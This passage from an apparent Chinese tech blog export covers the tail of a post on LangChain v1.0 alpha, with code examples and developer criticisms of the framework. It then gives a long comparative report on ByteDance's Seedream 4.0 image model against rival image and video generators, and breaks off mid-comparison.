agent=\u0026#34;zero-shot-react-description\u0026#34;) 14result = agent.run(\u0026#34;What\u0026#39;s the weather in SF?\u0026#34;) 15# 再用正则/二次调用或手写解析把 result 转成 Weather(...) v1.0 alpha（新写法）：一个入口 create_agent，在主循环里直接产出结构化结果（避免多一次 LLM 调用、少走弯路）\n1⚡ python片段from langchain.agents import create_agent 2from pydantic import BaseModel 3 4class Weather(BaseModel): 5 temperature: float 6 condition: str 7 8agent = create_agent( 9 \u0026#34;openai:gpt-4o-mini\u0026#34;, # 也可传入已实例化 model 10 tools=[get_weather], 11 response_format=Weather # 结构化输出内建 12) 13out = agent.invoke({\u0026#34;messages\u0026#34;: [{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Weather in SF?\u0026#34;}]}) 14print(out[\u0026#34;structured_response\u0026#34;]) # -\u0026gt; Weather(...) 2.“跨厂商、多模态/推理/引用” 的消息处理\nv0.x：不同厂商字段名不同（如 reasoning、thinking、citations、server tool 等），常见一堆 if provider == \u0026hellip; 的分支。\nv1.0 alpha：直接读 .content_blocks（统一、强类型），必要时再序列化回标准块。\n1⚡ python片段from langchain_core.messages import AIMessage 2 3msg = some_llm.invoke(\u0026#34;Explain with sources \u0026amp; brief reasoning\u0026#34;) 4# v1 统一读取： 5for block in msg.content_blocks: 6 if block[\u0026#34;type\u0026#34;] == \u0026#34;reasoning\u0026#34;: 7 use_reasoning(block[\u0026#34;reasoning\u0026#34;]) 8 if block[\u0026#34;type\u0026#34;] == \u0026#34;text\u0026#34; and \u0026#34;annotations\u0026#34; in block: 9 use_citations(block[\u0026#34;annotations\u0026#34;]) 3.“工具错误/人审/长对话摘要” 的生产级控制\nv0.x：这些能力多靠自写回调或外层控制流拼起来。\nv1.0 alpha：内置 Middleware 三钩子（beforemodel / modifymodelrequest / aftermodel）+ 现成中间件（摘要、人审、Anthropic Prompt Caching），还能 “跳转 / 中断”。\n1⚡ python片段from langchain.agents import create_agent 2from langchain.agents.middleware import SummarizationMiddleware, HumanInTheLoopMiddleware 3 4agent = create_agent( 5 \u0026#34;openai:gpt-4o\u0026#34;, 6 tools=[...], 7 middleware=[ 8 SummarizationMiddleware(max_tokens_before_summary=4000), 9 HumanInTheLoopMiddleware(tool_configs={\u0026#34;write_file\u0026#34;: {\u0026#34;allow_approve\u0026#34;: True}}) 10 ], 11) LangSmith 🦜️⚒️ ●解决 LLM 应用开发中最头疼的调试、追踪和评估问题，这是其商业化的核心（收费）。一个应用越复杂，就越离不开 LangSmith，形成用户粘性。\n●LangSmith = LLM 应用的 “一体化可观测 + 评测平台”：用来给 Agent / RAG / 多模态应用做 全链路追踪（Tracing）、 离 / 在线评测（Evals）、 监控告警、 成本与时延看板、Prompt 协作等；既可配合 LangChain / LangGraph，也支持非 LangChain 项目、OTEL 接入。\n可以开源免费的 langfuse 替代 LangSmith\nLangServe 🦜️🏓 ●打通 “最后一公里”，让开发者能一键将用 LangChain 构建的应用 API 化\n●LangServe 可以把 LangChain 的 Runnable/Chain 一键暴露成 REST API 的开源库，基于 FastAPI + Pydantic，自带 /invoke、/batch、/stream、/streamlog、/streamevents 等端点、自动推断 I / O Schema、内置 Playground，并可把追踪接到 LangSmith\n收费吗？\n库本身不收费。但其许可证限制： 不得把 LangServe 作为托管 / 托管式服务提供给第三方（SaaS）。也就是说，你可以用它部署自己的应用，但不能把 “LangServe 平台” 卖给其他公司用。另外，LangChain 官方更推荐新项目用 LangGraph Platform（LangServe 只接受社区 bug 修，不再收新特性）。如果要 “托管式平台”，那是另一条产品线（付费）\nLangChain 的使用争议 关于 LangChain 最开始的时候是一片盛赞，几乎全是正面评价，但随着开发者使用的深入，不断有负面评价出现。\nLangChain 在使用上的主要争议，或者说让开发者后来“抛弃” 它的主要原因有：\n1.API 频繁改、文档滞后，维护成本高\n○2023–2025 年间最常见吐槽：接口 / 导入路径经常变、语义化版本执行不严、文档跟不上，导致线上项目要反复改代码与迁移；社区讨论与帖子里这一点重复被提及。官方后来在 0.2 才引入 “版本化文档”以缓解这个痛点。Reddit\n2.抽象层过重/“抽象泄漏”\n○本来想简化 LLM 应用，但 层层抽象（Chains/Agents/Memory/Tools…） 让简单事变复杂；当跨供应商（OpenAI/Anthropic）或多模态/工具调用时，还是要理解底层差异并写分支， 抽象并未完全 “挡住细节”，很多人因此更倾向 “直接调 API / 自己拼装”。\n3.性能 / 成本开销与 “隐形调用”\n○经验帖里常见：token 使用低效、默认批量/重试/校验带来额外请求与延迟；默认设置偏原型友好，不一定适合生产（缓存、批处理、上下文裁剪都要自己细调）。DEV Community\n4.调试与可观测性难（不用配套工具时）\n○没接追踪时，多层封装中的报错 / 耗时难以定位，“像在雾里调试”；不少团队因此上了自家的可观测或放弃高阶封装。\n5.学习曲线与 “过度框架化”\n○许多工程团队反映：学习成本与收益不匹配，做简单的 RAG / 工作流时，直接 SDK + 少量自写代码更快可控；把 LangChain 当工具库（utility）用反而更顺。\n6.生态分拆、选择困难与 “框架漂移”\n○LangChain/ LangGraph/ LangServe/ LangSmith 产品边界不断演进；多数对比文章建议：流程化任务用 LangChain，复杂状态 / 多轮 agent 用 LangGraph—— 很多团队索性选更贴合场景的替代或 “手写”。DEV Community\n上面这些点，不是说 LangChain “不能用”，而是在规模化、稳定性要求高的团队里，可预期性 / 可控性往往比 “快速堆组件” 更重要。\n负面评价 这里我引用一些具体的负面评价，通过开发者真实的体验和文章来了解一下 LangChain 的问题。\n为什么我们不再使用 langchain 来构建我们的AI代理 ●来源： https://octomind.dev/blog/why-we-no-longer-use-langchain-for-building-our-ai-agents\n●结论：作者最初喜欢 LangChain 因为其丰富组件和易用性，但后来因其抽象复杂、灵活性差而不推荐。\n初期为何喜欢使用 LangChain 作者在项目初期选择 LangChain，主要因为它具备以下优点：\n●丰富的工具和组件：LangChain 提供了大量现成的模块，能快速搭建 LLM 应用。\n●易于集成：框架承诺“让开发者一个下午就能从想法变成可运行代码”，适合原型开发和快速试错。\n●人气高、社区活跃：2023 年 LangChain 热度很高，生态完善，容易找到资料和支持。\n这些特性让作者在项目早期能专注于业务逻辑，而不用过多关心底层实现细节。\n后期为何不再推荐 LangChain 随着项目复杂度提升，作者逐渐发现 LangChain 带来的问题：\n1.抽象层级过多，代码复杂\n○LangChain 引入了大量抽象（如 Prompt 模板、输出解析器、链等），让简单任务变得繁琐。\n○代码难以理解和维护，调试时需要花大量时间研究框架内部逻辑。\n2.灵活性不足，难以定制\n○框架对底层细节封装过度，开发者很难根据实际需求修改或扩展功能。\n○当需求超出 LangChain 设计假设时，反而成为限制，必须“将需求转化为适合 LangChain 的方案”，而不是直接实现业务逻辑。\n3.适应快速变化的 AI 领域能力有限\n○AI 和 LLM 领域变化极快，LangChain 的抽象和设计难以跟上新技术和新需求。\n○框架的“嵌套抽象”导致开发者需要理解庞大的堆栈和内部机制，增加了认知负担。\n4.团队协作和维护成本高\n○团队成员需要花大量时间理解和调试 LangChain，而不是专注于功能开发。\n○框架的复杂性让代码维护变得困难，影响开发效率。\n反思与建议 作者认为，虽然 LangChain 在原型阶段有用，但长期来看，直接用基础库（如 OpenAI API）开发更简单、灵活。大多数 LLM 应用只需少量核心组件，无需复杂框架。对于 AI Agent 等复杂场景，建议在 Agent 模式成熟前保持简单，避免过度依赖抽象。\n“一旦我们删除了它，我们就不再需要将我们的需求转化为适合 LangChain 的解决方案。我们只需编写代码即可。”\n作者的经历体现了技术选型中“早期便利 vs. 长期灵活性”的权衡，也反映了 AI 应用开发领域对“抽象与简单”的持续思考。\n2025 年了，LangChain 还是个无底洞。 https://www.reddit.com/r/LocalLLaMA/comments/1iudao8/langchainisstillarabbitholein_2025/?tl=zh-hans\n给研发团队的建议 ●“轻 LangChain”：保留少量 LCEL/Runnable 原语（或只用部分解析 / 工具封装），核心链路直接用供应商 SDK 实现，减少抽象层。\n●“换轨到 LangGraph”：涉及复杂状态/长对话/人审/错误恢复的 agent，改用图式运行时（LangGraph / 其他工作流框架）。\n●“专用 RAG 框架 / 自研”：检索、重排、结构化输出走 LlamaIndex / 自研管线\n总之，手写代码是一条自主可控的道路，而梭哈 LangChain 可能会是一条不归路。\n","date":"2025-09-23T05:46:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-09-23-langchain-shi-yin-tan-hai-shi-ji-shu-zhai/cover.jpg","permalink":"/p/2025-09-23-langchain-shi-yin-tan-hai-shi-ji-shu-zhai/","title":"LangChain：是银弹，还是 “技术债”？"},{"content":"前言 最近 Seedream4.0 发布了 ，梳理了一下核心卖点：\n1.生成+编辑“一体化”架构：同一模型完成文生图与图像编辑（抠物、改字、调光、换风格等），减少多模型切换与风格漂移；最高支持 4K 输出。\n2.批量/多参照工作流：支持一次上传多张参考图，并“一次出多张”成组结果，便于做系列物料、角色/商品 ID 一致性与 A/B 测试。\n3.“一句话精修”的自然语言编辑：删除/替换目标、版面中文案替换且保持排版、场景补光、老照片上色修复\n4.知识驱动生成（结构化内容更强）：能生成带中英文字说明的教育插画、对照图表、时间线、流程步骤等，适合海报/信息图/教材等场景。\n5.画质与速度：高分辨率 + 接近实时：相较 3.x 代推理更快；媒体实测报道 2K 约 1.8–2 秒量级\n6.文本渲染与双语友好传统延续：在 3.0 代已强调中文/英文文本渲染与版式改进，4.0 官方性能页也将“文本渲染”纳入核心评测维度\n7.风格广度与稳定一致性：水彩、赛博朋克、建筑等专业风格；结合多参照与批量输出，能保持主题与风格的一致性，适合品牌与 IP 长线创作。\n8.对标 Google“Nano-Banana/Gemini 2.5 Flash Image”\n此外，还支持全自动进行\n●智能多帧功能，一次性生成多张连续图像，进行首尾帧自动衔接，组成视频\n●支持批量生图，一次性最多可以出40张图和8个视频\n●支持一次将多张图片组织成一个视频\n如果你不会写提示词，还支持 Agent 模式\n在 Agent 模式下，你只需说出需求，它能理解你的需求自动帮你写提示词\n本文是对 Seedream 4.0 的深度报告，内容涵盖多模态背景、模型能力、Agent 模式的横纵向对比、使用建议及适配场景等。\nSeedream 在 AIGC 图像/视频生成体系中的定位 AIGC（Artificial Intelligence Generated Content）涵盖了文本、图像、音频、视频、3D等多模态内容的自动生成。其中，图像和视频生成是当前AIGC领域最活跃、应用最广的分支之一。\n从技术分类来看，图像/视频生成体系可以细分为：\n●文本生成图像（Text-to-Image）：由文本描述直接生成静态图像，如 Midjourney、Stable Diffusion 等。近年来扩散模型（Diffusion）成为主流，生成清晰度和多样性不断提升，同时出现了控制图像内容的附加手段（如ControlNet）来提高可控性。\n●图像编辑/图生图（Image Editing / Image-to-Image）：对已有图片进行修改或根据参考图生成新图。传统上需要专门的图像编辑模型或在扩散模型上进行 Inpainting/Outpainting 等操作，如 Adobe Firefly 提供的生成式填充。如今新模型开始将生成和编辑融合（例如 Seedream 4.0、Google Flash Image），可在同一模型中完成从无到有的生成以及对现有图的精细编辑。\n●多图融合与一致生成：利用多张输入图进行融合，或一次输出多张彼此关联的图片。这种能力在角色形象设定、漫画连贯创作等场景很重要。以往需要人工调整多次生成以保持一致，最新模型如 Seedream 4.0 已支持多图参考输入和多图批量输出，一次性生成统一风格和角色的图组。\n●文本生成视频（Text-to-Video）：由文本描述直接生成动态视频序列，这是多模态生成的前沿方向。典型如 Runway Gen-2、Pika 等，可以生成几秒钟长度的短视频片段。受限于计算和模型难度，目前生成视频通常在几秒内、分辨率720p左右。视频生成模型在保证时序连贯和画质细节上仍有挑战，但进展迅猛，已经能生成简短的真实感动画场景。\n●图生视频 / 视频编辑（Image-to-Video / Video-to-Video）：以图像或现有视频为起点，生成新的视频。比如将一张静态图片扩展为有运动的视频（常用于电影级照片动画效果），或对给定视频进行风格迁移、内容替换（如 Runway Gen-1、Luma 的 Modify Video）。这些技术可以视作视频领域的“编辑”类应用，通过AI在时间维度上扩展或改变视觉内容。\n在这整个图像/视频生成谱系中，Seedream 4.0 的定位非常独特：它既是强大的文本生图和图像编辑引擎，又通过 Agent 智能调度具备了跨图像和视频的一体化创作能力。也就是说，Seedream 4.0 不仅在静态图像生成与编辑方面达到业界顶尖水准，还初步打通了从图像到视频的链路。在 ByteDance 即梦平台中，Seedream 4.0 模型被用于支持“图像生成+编辑+多模态协作”的综合创作流程。\n通过 Agent 模式，Seedream 4.0 能将一系列图像内容自动衔接为视频，实现 “从灵感到影片” 的端到端AI创作。这种能力使其超越了一般图像生成工具的范畴，成为AIGC 图像/视频生成体系中少数能够贯通多模态创作流程的引擎之一。\n简而言之，Seedream 4.0 处于 AIGC 图像/视频赛道的前沿位置：既覆盖了高质量图像生成和编辑两个重要领域，又在向视频生成延伸，朝着多模态一体化创意引擎的方向发展。\nSeedream 4.0 核心技术特点 Seedream 4.0 是字节跳动最新一代的多模态图像创作模型，具备多项突出的技术特点，为创意内容生产提供了强大的支持\n统一生成+编辑架构 采用单一模型架构同时支持文本生成图像和图像编辑，两种能力深度融合。不同于以往将“文生图模型”和“图像编辑模型”分离的设计，Seedream 4.0 将文本理解、图像生成和编辑逻辑整合在一起，避免了多模块切换带来的风格中断和特征丢失问题。例如在需要更换人物服装时，无需重新生成人物，模型可直接在原图上进行局部编辑并保留角色特征\n4K 超高清输出 支持最高 4K 分辨率的图像直接生成，这是全球首个支持4K高清直出的多模态生图工具。\nSeedream 4.0 通过模型压缩和推理优化，在保障细节逼真的前提下降低高分辨率生成的计算成本，成功实现了4K超高清图像的高效生成。实际测试表明，模型可在约1.8秒内生成2K分辨率图像，远超上一代模型速度，并将商业级超清制图变为可能。\n自适应比例 引入自适应长宽比机制，可根据指令语义或参考图自动调整画布尺寸，生成最合适比例的画面。同时也支持用户自定义输出尺寸，从而避免因预设比例不当而影响画面效果。在内容构图上更加灵活智能，确保生成结果的布局美观合理。\n可控生成信号整合 内置支持常用的视觉控制信号，无需外挂 ControlNet 等额外模型即可使用梯度边缘、深度图、分割遮罩等信号来引导生成。用户还可以通过草图、涂鸦或参考线稿来直接控制画面的结构和姿态。这种原生整合使 Seedream 4.0 在姿态控制、建筑设计草图到实景图、UI 原型生成等任务中更加得心应手，生成过程可控性大大提高。\n卓越的中文处理能力 针对中文场景进行了专项优化训练，显著提升了对中文内容的理解和生成效果。模型对中文语义和文化元素（如古风服饰、传统纹样）有更深刻的掌握，并针对中文文字的显示进行了增强，解决了许多国外模型常见的中文文字混乱和亚洲人脸失真的问题。实际使用体验表明，Seedream 4.0 在处理中文（以及日文等东亚语言）方面相较其他模型更为准确、自然。\n从社区的经验来看，只要遇到有中文的场景，无脑用 Seedream 4.0 就可以了\n多图一致性 支持多图输入和多图输出，具有行业领先的主体一致性算法。模型可从多张参考图中提取关键信息（人物身份、风格、结构等）并有机融合，最多支持十余张参考同时输入。\n在一次生成多张图像时，Seedream 4.0 能做到全局规划和上下文一致：生成的图像序列在角色形象和画面风格上连贯统一，适用于分镜故事板、漫画创作或成套视觉设计等需要统一风格的场景。通过深度约束人物整体轮廓，模型确保同一角色在不同角度、表情下身份特征保持稳定不变，明显优于旧有模型易发生的“换角度就走样”或“亚洲脸千篇一律”等现象。\n推理提速 通过全新的高效架构设计和极致的蒸馏加速，Seedream 4.0 在推理速度上较前代有数量级提升。结合对抗蒸馏、分布匹配、量化稀疏等一整套加速方案，模型在保证质量的同时将2K图像的生成缩短至秒级完成。相较3.0版本推理提速超过10倍，“又快又好”地统一了高分辨率高质量输出和实时交互需求。高效的生成能力也降低了使用成本，让高清内容批量生产成为可能。\n4.0 的成功离不开：Reward Scaling in Visual Generation RewardDance（视觉生成中的奖励缩放:https://arxiv.org/abs/2509.08826）\n●奖励模型（RMs）通过强化学习（RL）改进生成模型，从下图可以看到 RewardDance 从 1B Scaling 到了 26B！\n●未来，Seed 团队将进一步扩展到更大规模（例如 70B/100B）可能会带来更大的性能提升。\nAgent 区别于传统「输入指令→等待结果」的被动模式，Agent可主动拆解需求（如「制作汉服电商素材」→拆分为「模特生成+服装替换+场景适配」），并支持多轮交互优化（如「把背景换成江南园林，增加飘带动态效果」）。\nAgent 并非独立模型，而是基于 Seedream 4.0 的「任务编排中枢」，其工作流程可分为四步：\n1.需求拆解：输入「制作儿童绘本《小松鼠的森林寻宝》分镜」指令，自动拆分出叙事主线、风格（宫崎骏水彩风）、角色特征（小松鼠形象）、多镜头设计等创作要素。\n2.工具匹配：智能调用「文生图+一致性锁定」生成统一形象，「风格迁移+光影优化」渲染场景，「多图组帧+过渡动画」串联分镜。\n3.叙事校验：自动检查角色/场景的视觉一致性（如小松鼠形象、森林元素）与故事线连贯性（寻宝流程、镜头转场逻辑）。\n4.交互优化：支持自然语言微调（如“最后一张去除下方白色板块内容”），精准修改单模块，无需重生成所有内容。\n原理上很可能用到了 M3-Agent(https://arxiv.org/pdf/2508.09736)，一种具备长期记忆的多模态智能体框架。M3-Agent通过两个并行过程进行操作：记忆和控制模块。\nlovart 说到 Agent ，我们知道， lovart 是第一个设计类的 Agent\n这里我们将 lovart 和 seedream4.0 的 agent 模式 做个对比：\n一句话总结\n●要「纯中文、4K、角色不崩」→ 直接 Seedream 4.0 Agent，最省事。\n●要「一次出整套、多模型随便换、全球 SOTA 随叫随到」→ 上 Lovart Agent，真·设计外包体验。\nSeedream 4.0 用户体验 4.0 在真实感、材质细节、环境交互、动态范围上明显提升，下图左边为 3.1 右边为 4.0\n4.0 的美学提升不少，不过还是逊色于midjourney\nSeedream4.0 目前存在的问题 ●整体审核是显著比banana要严格，很多能在banana跑的案例在即梦都会提示“你输入的文字不符合平台规则，请修改后重试”\n●理论上，Agent 模式下，自己没必要再抠复杂的提示词了。但是，从目前的用户测试反馈来看，Agent调用的失败率高，人物一致性不如 Nano-Banana\n与其他主流产品的对比 当前 AIGC 图像和视频生成领域百花齐放，Seedream 4.0 面临的主要竞品包括 Google Gemini 2.5 系列（Flash Image / Nano-Banbaba/Veo）、OpenAI 的图像/视频模型（GPT-4.0 图像生成能力 / Sora）、以及专注不同方向的产品如 Runway、Pika Labs、Luma、快手可灵 Kling、Midjourney 等。\n下面我们从功能特性、生成质量、Agent 工作流和视频联动能力等方面，对 Seedream 4.0 和这些主流方案进行横纵向对比：\nSeedream 4.0 ●图像生成质量：支持最高4K超高清图像生成，画面清晰度和美感极佳，在全球同类模型中处于领先地位。主体一致性相比旧版明显增强，可一次生成角色连贯、风格统一的多张图像（如分镜故事），避免形象漂移。整体生成效果稳定，对复杂场景表现良好，但在极复杂场景下仍有提升空间。\n●图像编辑能力：提供文本生图、图生图、组图生成一站式创作。同一模型即可无缝衔接生成与编辑，支持上传参考图修改元素、融合多图合成新图等。实测其图像编辑细节稳定、主体特征保持出色，复杂编辑如一键换装、老照片修复都能达到实用水准，生成结果清晰自然。\n●视频生成能力：通过与 ByteDance 生态（如 Seedance）集成，提供图像到视频的辅助能力\n●Agent 工作流：除了 Lovart，在设计领域唯二的 Agent\n●本地化能力：对中文内容和亚洲人像有优秀的本地化支持。\n●接入方式：Seedream 4.0 已在字节跳动内部产品 豆包 (AI绘画工具) 和 即梦 平台上线供用户体验，并通过 火山引擎 向企业客户开放 API 接入\nNano-Banana （Google Gemini 2.5 Flash Image） ●图像生成质量：作为 Google DeepMind 开发的高性能图像生成与编辑模型，Nano Banana（官方名称 Gemini 2.5 Flash Image）具备强大的语言理解和生成能力。可根据复杂叙述性描述生成高质量、连贯的图像，角色/物体跨多张图保持一致。在多图融合任务中，其主体一致性表现非常稳定，在业界权威评测中名列前茅。不过在细节材质精准度上还有优化空间，偶尔会出现纹理细节不符预期的情况。\n●图像编辑能力：Nano Banana 支持图像+文本编辑功能。可输入一张图并用文字提示进行添加、移除元素或改变风格，实现类似定向编辑和精细调整。还支持多图合成与风格迁移，能将多张输入图融合出新场景，或迁移某张图的画风到另一张图。另外具备对话式多轮迭代优化能力，允许用户逐步细化修改图像，得到理想效果。高保真文本渲染也是其特色之一，生成含清晰可读文字的图像（如logo、海报）相对传统模型更准确。\n●视频生成能力：暂无直接的视频生成功能。Nano Banana 专注于静态图像领域（文本/图生成图像）。Google 将视频生成作为独立模型（代号 Veo）提供，Nano Banana 本身不输出视频。用户若需视频，可借助 Google 其他多模态模型。\n●Agent 工作流：作为 API 提供的模型，本身不具备自主任务拆解能力。开发者可以利用 Gemini API 在单一对话中连续调用图像生成和编辑（多轮对话优化属于模型功能），但这些步骤需由用户/开发者 orchestrate。模型不会自动串联跨模态任务，需借助业务逻辑实现。\n●本地化能力：对中文及本地化支持相对一般。Nano Banana 在多语言提示词理解上有一定能力，但生成包含中文文字的图像时效果不佳——测试显示其生成的中文字往往难以辨认（如鬼画符）。在亚洲人脸和本土风格方面，并非特别优化，输出质量总体尚可但细节上可能缺乏本土审美微调。相比之下，Seedream 等本土模型在中文排版、东方人物细节上优势更明显。\n●接入方式：通过 Google Gemini API 提供服务，可在 Google Cloud Vertex AI 等平台上调用。目前处于预览/内测阶段。\nRunway Gen-4 ●图像生成质量：Runway Gen-4 主打视频生成，但也能输出图像帧。其生成内容视觉真实感强、细节丰富，风格和氛围具有电影质感。Gen-4 支持通过视觉参考和指令生成新图像，保持所设定的独特风格和主题一致性。由于分辨率目前以视频帧为导向，单帧清晰度约达 720p 级别。在多场景序列中，各帧画质一致且连贯，但与专业静态4K图像模型相比，其单张图分辨率略低。\n●图像编辑能力：Gen-4 可利用图像参考+文本来调整输出，例如以一张参考图设定角色/物体，再通过描述改变场景或风格，实现在新图像/视频中“编辑”元素。然而，它缺少专门的局部涂抹或精确选区编辑功能，更侧重全局风格和场景的改动。Runway 平台本身提供其他工具用于图像编辑（如早期的Stable Diffusion Inpainting），但 Gen-4 模型内并未专门针对静态图局部编辑进行优化。\n●视频生成能力：这是 Gen-4 的强项。它能够根据文本描述直接生成高动态、真实运动的视频片段，并可通过单张参考图生成连续镜头，在不同场景中保持角色、物体和风格的一致。Gen-4 解决了跨镜头角色一致性这一业界难题，实现了多镜头间同一角色在造型和动作上的延续。输出视频最大支持720p分辨率，长度目前数秒级（Turbo版本10秒视频生成只需30秒)。运动画面自然流畅，镜头运动和物理效果逼真，达到业界领先的叙事能力和视觉保真度。\n●Agent 工作流：没有明确的内置 Agent 自动流程。用户需要逐步提供参考图和提示词以实现多阶段效果。但 Runway 提供一体化界面支持复杂工作流：例如用户可先生成一个角色形象，再在不同场景多次调用生成保持一致的内容。这种手动分步创作在界面上较流畅，但并非模型自动拆解。Runway Gen-4 更强调用户控制下的可控生成，尚未引入自主决策的多模态代理。\n●本地化能力：Gen-4 针对多语言或本地化内容支持有限。主要面向英文提示优化，未强调对中文等特殊语言的文字渲染能力。对于生成东方人脸或亚洲场景，模型并无针对性劣化，正常描述下也可生成相应形象，但需要在提示中清晰指定。总体来说，未经过专门的中文/亚洲数据微调，在处理中文提示词、东方文化细节时效果可能不及本土模型直观。\n●接入方式：通过 Runway ML 平台提供。有网页应用界面供用户直接使用，并提供付费订阅。Runway 也开放了API 接口供开发者将 Gen-4 集成到工作流程中。企业用户可以联系 Runway 获取企业版服务。\n可灵 AI 2.1 （Kling，快手） ●图像生成质量：可灵AI的新一代图像模型 “可图2.1” 在画面质感上有大幅提升。它擅长还原复杂场景（如史诗灾难、微缩模型等），光影色调细腻，元素丰富度和细节真实感达到新高度。特别在人像方面，输出的人物肤质细腻、美感突出。模型能生成电影大片级的镜头画面，构图高级，色彩运用独特，整体美学风格强烈。同时支持在图中准确融合中英文文字，可用于生成清晰且设计感十足的中文标题、海报等。\n●图像编辑能力：可灵AI 提供文生图、单图参考、多图参考等多种生成模式。用户可上传1张或多张参考图搭配文字，模型会抽取图片元素进行创作，实现参考生图、风格迁移、形象替换等编辑效果。例如官方提及支持 AI 模特试衣功能，可给人物照片一键更换服饰; 还能根据提示对生成图进行文字排版、加入标识等。\n●视频生成能力：可灵AI 平台集成了 AI 视频能力。快手官方披露其用户已生成超过1.68亿段视频，说明平台支持文本生成视频和相关功能。画质方面，估计支持至少720p高清输出，风格上兼顾真实视频和动画特效，以满足创作者多样化需求。不过可灵的视频生成能力相对于 Runway Gen-4、Sora 等可能在动态复杂度和一致性上略逊，更强调易用性和娱乐性。\n●Agent 工作流：暂无迹象表明具备自主多步任务拆解功能。\n●本地化能力：作为国内产品，在中文理解和本土内容上表现出色。模型对中文提示词响应良好，能生成准确的中文文案和题字。人像方面针对亚洲人美学有优化，人脸五官和肤色更符合亚洲用户审美。可图2.1特别强调了文字生成效果，意味着无论中英文文字都清晰可读。对于中国风格场景、服饰等也能细腻呈现。此外，平台对内容审查和本地文化禁忌有内置考量，更适合国内业务合规使用。\n●接入方式：面向创作者（个人/企业）提供Web端和移动端的在线创作平台\u0026amp;工具; 面向开发者（个人/企业）提供API解决方案\nMidjourney ●图像生成质量：Midjourney 一直以卓越的图像品质著称。最新版本在艺术美感、细节刻画和风格多样性上保持行业顶尖水平。无论是摄影级逼真场景还是奇幻艺术插画，Midjourney 都能生成精美、令人惊叹的图像。这一模型以高分辨率输出、良好的构图和光影见长，经常产生媲美人类创作的作品。在复杂主题和创意表现上，Midjourney 通常给出最具视觉冲击力的结果，其整体输出质量被视为业界标杆之一。\n●图像编辑能力：Midjourney 最新版本支持图像编辑功能 。用户现在可以直接在 Midjourney 中修改生成的图像，无需额外的编辑软件 。该功能允许用户上传自己选择的图像（不仅限于 Midjourney 生成的图片），并对其进行编辑，例如扩展、裁剪、重绘、添加或修改场景中的元素。编辑功能包括局部区域编辑和纹理与材质的重新绘制 ，并且可以通过文本提示和区域选择来控制操作 。新版编辑器也支持上传外部媒体进行编辑。\n●视频生成能力：Midjourney 最新版本支持视频生成，该项功能于 2025 年 6 月正式推出 V1 视频模型，允许用户将静态图像快速转化为动态的 5 秒短视频。它不是从文本直接生成视频，而是基于 Midjourney 生成的图像或外部上传图像作为起始帧，通过 AI 算法添加运动和动画效果，实现平滑的动态序列。该功能强调 Midjourney 独特的艺术风格，生成结果在连贯性和美学上表现出色，尤其适合创意探索和短视频内容创作。\n●Agent 工作流：Midjourney 没有 Agent 工作流功能。其运行基于一次性文本输入 -\u0026gt; 返回图像的闭环，不能自动分解任务或串联多步骤。\n●本地化能力：Midjourney 并未针对中文或亚洲内容做特别优化。提示词主要以英文为佳，在中文上可能需要翻译或使用拼音/英文描述。\n●接入方式：Midjourney 提供多种接入方式，主要通过 Discord 和 Web 界面，Midjourney目前不提供官方API\nOpenAI：GPT-4o 图像 + Sora 视频 ●图像生成质量：GPT-4o（“o”代表“Omni”全模态）融合了OpenAI最先进的语言与图像生成能力，能直接根据对话生成图像（原生生图）。其画质达到了当今一流水平，指令跟随极其精确：复杂场景、多角色互动都能正确呈现，每个要求细节都满足。与 Midjourney 等静态模型相比，GPT-4o 不仅画质出众，更可在对话中持续迭代优化图像，这确保了输出与用户期望高度吻合。\n●图像编辑能力：GPT-4o 将图像生成与编辑融为一体，具备连续多轮编辑能力。用户可以先让它生成一张图，然后通过对话指令对图中局部进行修改，如更换背景、替换物品、修改人物表情服饰等，模型会记忆之前图像内容并仅对指定部分改动。实测中，GPT-4o 可做到在修改文字说明时，图中其余元素高度一致，只改变所需部分。它支持用户上传图片作为编辑起点，然后通过自然语言描述完成去除反光、替换背景、改变风格等操作。这些都无需额外工具或切换模型，在一次对话内顺畅完成。这种人像换装、场景合成、风格迁换（如让蒙娜丽莎穿现代牛仔、不同名人同框合影等）GPT-4o 都能轻松实现，且结果逼真连贯。\n●视频生成能力：OpenAI 于 2024年底推出了全新的Sora 文生视频模型。Sora 能将文本、图像甚至视频作为输入，生成全新的视频内容。视频质量业内领先：Plus用户可生成720p@5秒视频，Pro用户可达1080p@20秒，而且Pro版输出无水印。Sora 的独创功能在于：提供故事板式创作，用户可以分段设定剧情（关键帧画面或描述），Sora 会自动将这些片段衔接成流畅完整的视频。它还能直接用文字编辑已生成的视频，以及无缝融合两段不同视频，或改变视频的画风特效，相当于给视频后期加上AI特效。\n●Agent 工作流：暂无，不过这对 OpenAI 来说不算什么难事，如果 OpenAI 做了，反而会死一批创业公司。\n●本地化能力：相对 midjourney 好多了，但对于长稍长一点的中文文本就会出问题。\n●接入方式：OpenAI 已正式开放 GPT-4o 的 API；OpenAI 已推出 Sora 的 API，主要通过 Azure OpenAI 服务提供\nLuma Dream Machine ●图像生成质量：Luma Dream Machine 集成了 Luma Labs 的Photon 图像模型，以高创意度和高分辨率著称。Photon 基于全新架构，能够高效地生成高度细节、构图精良的图像，其效率是同级模型的8倍。输出图像的质量接近摄影实景，且在艺术创作上具有极大灵活性。从用户反馈看，无论写实场景还是幻想风格，Dream Machine 产生的画面都“栩栩如生，仿若出自想象之外”。此外，它还特别强调文本准确渲染，可以在图像中生成清晰准确的标志和文字（这一点在多模态平台中较为少见）。\n●图像编辑能力：Dream Machine 支持对图像和视频的描述式编辑。用户可以上传自己的图片，通过文字指令进行修改，例如更改风格（“变成90年代怀旧风”“应用鱼眼镜头”）、调整颜色主题（“整体偏绿调”）或添加/移除元素（“给模型穿上夹克”）。模型会根据描述直接产出修改后的图像或视频。这意味着无需掌握复杂的编辑软件，只要用自然语言就能完成照片润饰或艺术化再创作。此外，Dream Machine 允许多图像参考和Remix：可导入多张参考图指定风格、角色形象，再生成融合这些元素的新作品。\n●视频生成能力：Luma 的 Dream Machine 内含Ray2 大规模视频模型，能够将文本、图像甚至起始/结束帧转化为高质量短视频。用户可以通过指定起始画面和结束画面来“导演”一段视频，模型负责在两者之间生成连贯过渡，甚至支持生成循环播放的小视频。Ray2 模型在运动连贯性和超现实细节上表现出色，可生成物理逻辑合理、视觉连贯的动态画面。实际输出分辨率可达720p级别，视频长度目前偏短（数秒到十余秒）。值得一提的是，Dream Machine 强调角色/物体的一致性：只需一张角色图片，即可在生成的视频多个镜头中保持该角色形象统一。另外，它提供一键延长视频和变换镜头角度功能，让用户从不同视角获得场景。在风格方面，Ray2 